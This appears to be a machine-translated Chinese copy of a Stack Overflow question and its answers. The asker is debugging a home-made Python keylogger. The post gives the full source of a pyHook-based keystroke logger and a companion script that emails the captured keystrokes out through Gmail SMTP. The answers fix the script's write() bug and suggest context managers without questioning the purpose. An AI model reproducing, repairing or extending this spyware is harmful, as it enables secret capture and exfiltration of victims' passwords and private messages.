2015-04-01 94 views
0

我正在製作兩部分鍵盤記錄,實際的keylogger.py和email.py文件。該電子郵件部分不工作Python電子郵件,smtplib參數錯誤

代碼:

import urllib2 
import smtplib 
import time 

def internet_check(): 
    try: 
     response=urllib2.urlopen('http://www.google.com',timeout=10) 
     return True 

    except: 
     return False 

def main(): 
    while len(open('output.txt','r+').read()) < 30 or not internet_check(): 
     pass 

    mail=smtplib.SMTP('smtp.gmail.com:587') 
    mail.starttls() 
    mail.login('sendinguser','pass') 
    mail.sendmail('sendinguser','receivinguser',open('output.txt','r+').read()) 
    mail.quit() 
    open('output.txt','w').write() 
    main() 

try:  #it wont run without this part idk why, it doesnt even give an error,nothing 
    main() #please explain 
except Exception,e:p=input(str(e)) 

執行它的作品第一次後,它等待30個字符,然後發送電子郵件和清除文件output.txt中。 但在那之後,當main()函數運行第二次,它打印:

function takes exactly 1 argument (0given) 

而且完蛋了。任何想法爲什麼?如果需要的話

鍵盤記錄代碼:

import pyHook 
import pythoncom 
import pywintypes 
import time 
import sys 
import os 

f=open('output.txt','a+') #i know it isn't neat, i'll clean it up later ;) 
f.write('\n'+time.asctime()+'\n') 
f.close() 

def OnKeyboardEvent(event): 
    if event.Ascii==96: 
     os.system("taskkill /im pythonw.exe /f") 
     sys.exit() 

    if event.Ascii==5: 
     _exit(1) 

    if event.Ascii !=0 or 8: 
     f=open('output.txt','r+') 
     buffer=f.read() 
     f.close() 

     f=open('output.txt','w') 
     keylogs=chr(event.Ascii) 
     if event.Ascii==13: 
      keylogs='/n' 

     buffer+=keylogs 
     f.write(buffer) 
     f.close() 

hm=pyHook.HookManager() 
hm.KeyDown=OnKeyboardEvent 
hm.HookKeyboard() 
pythoncom.PumpMessages() 

我敢肯定它就是第一個代碼,任何幫助將不勝感激,謝謝你提前。

+0

請刪除'main()'附近的try和except。如果您除了打印異常之外沒有其他任何操作,那麼您根本不應該處理它,因爲Python將打印出一個完整的回溯,這是非常有用的。 – 2015-04-01 22:30:17

+0

你從來不會用'open('output.txt','w')。write()'寫任何東西,你也可以用w打開它。 – 2015-04-01 22:30:23

+0

我想打開文件('output.txt','w')。write()及其實際工作的部分 – dickbuttr 2015-04-01 22:34:20

回答

0

好吧,事實證明,write()實際上必須被賦予一個參數,它只是第一次清除,因爲open('','w')清除它本身,這正是我需要的,我認爲它不需要論證,因此錯誤。它與python 2.7相同,因爲它與3.4 我可以發佈簡短和清理腳本,如果任何人想要它。

0

我建議學習Python的上下文管理至少有足夠的,你會更喜歡使用「with」如下:

with open (filename, perm) as fp: 
    # some operation on fp, e.g. fp.write(...) 

這具有很好的功能,您可以消除的close()函數, python會爲你提供它。

另外:http://en.wikibooks.org/wiki/Python_Programming/Context_Managers

+0

我知道如何做到這一點,我說我會清理代碼,而且我確實,但是謝謝 – dickbuttr 2015-04-02 08:40:56